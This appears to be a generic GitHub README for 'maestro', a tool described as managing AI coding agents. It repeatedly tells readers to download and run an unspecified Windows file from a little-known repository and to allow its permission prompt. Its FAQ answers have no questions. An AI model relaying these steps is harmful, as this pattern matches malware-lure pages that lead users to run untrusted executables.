🤖 maestro - Run AI Coding Agents With Ease

Maestro helps you run AI coding agents from one place. It gives you a simple way to manage tasks, pass work between agents, and keep the process clear.

It is built for people who want help with coding work without setting up a complex toolchain. Maestro uses a small core and thin runtime adapters for Claude Code, Gemini, Codex, and Cursor.

Open the project page here:

https://github.com/Pendragonaffectation426/maestro

On that page, download the latest version for Windows. If you see a file, download it and run it. If you see release assets, choose the Windows file that matches your system.

After the file finishes downloading:

1. Open your Downloads folder
2. Double-click the file
3. Follow the on-screen steps
4. Finish the setup
5. Open Maestro from the Start menu or desktop

If Windows asks for permission, choose Allow or Yes so the app can start.

Maestro is built to stay light. A Windows PC with basic daily-use specs should be enough.

Recommended setup:

• Windows 10 or Windows 11
• 4 GB of RAM or more
• 200 MB of free disk space
• Internet access for AI agent features
• A keyboard and mouse

If you plan to use Claude Code, Gemini, Codex, or Cursor, you may also need the matching account or app sign-in for that service.

When Maestro opens for the first time, it may ask you to choose a default agent. Pick the one you want to use most often.

Then do the following:

1. Start a new task
2. Enter a short request
3. Pick an agent
4. Review the plan
5. Run the task

A simple first task might be:

• Fix a small bug
• Rewrite a paragraph
• Add a button
• Check a file for mistakes

Maestro is meant to keep these steps organized so you do not need to move between many tools.

Maestro can work with several common AI coding tools:

• Claude Code
• Gemini
• Codex
• Cursor

Each adapter connects the same core workflow to a different tool. That means you can keep your process steady while using the agent you prefer.

Maestro follows a simple task flow:

1. You describe what you want
2. Maestro breaks the job into steps
3. An agent works on the task
4. Maestro tracks progress
5. You review the result

This helps when a job has many parts. It also makes it easier to move work between agents without losing track of what happened.

You can use Maestro for many common coding tasks:

• Plan a small feature
• Ask for code changes
• Review a folder of files
• Rewrite code into a cleaner form
• Compare outputs from more than one agent
• Keep a record of task steps
• Run repeatable prompts for the same kind of work

It is useful when you want structure, not a pile of separate commands.

Maestro is built as a portable core with thin runtime adapters. That setup keeps the main logic small and easier to manage.

You stay in control of the tool you connect, the task you send, and the agent you choose. If you use an external AI service, that service may handle the content you send to it under its own rules.

If Maestro does not start right away, try these steps:

1. Close the app
2. Open it again as the user who installed it
3. Check that your internet connection works
4. Make sure the linked AI tool is signed in
5. Try a smaller task first

If you use more than one agent, set one as your default before running larger tasks. That helps keep your workflow simple.

Try a plain test task after setup:

• Open Maestro
• Create a task called “Test Run”
• Enter: “Summarize this folder and suggest one cleanup”
• Select your agent
• Start the task
• Review the output

This helps you confirm that the app can connect and run the way you expect.

Maestro is built around a few clear ideas:

• One place to manage agent work
• A simple flow for non-technical users
• Support for more than one AI tool
• A small core with adapter-based integration
• A steady process for task handoff

That makes it a good fit for users who want a clean way to guide AI coding help.

No. It is for anyone who wants to use AI coding agents in a more organized way.

No. You can start with simple tasks and plain-language requests.

Yes. Maestro supports several agents and lets you switch between them.

Core task management may still open, but AI features need a connection to the service you use.

It is meant to stay simple. Most users only need to download the app, open it, and connect the agent they want.

This project is related to:

agents, ai-agents, ai-agents-cli, chatgpt, chatgpt-app, claude-ai, claude-code, claude-md, codex, codex-cli, cursor, cursor-ide, developer-tools, gemini-cli, llm, meta-prompting, multi-agent, openai, orchestrator, prompt-engineering

If you need the project page again, use this link to visit the download page:

https://github.com/Pendragonaffectation426/maestro

1. Open the download page
2. Get the Windows file
3. Run the installer or app
4. Open Maestro
5. Choose your agent
6. Start your first task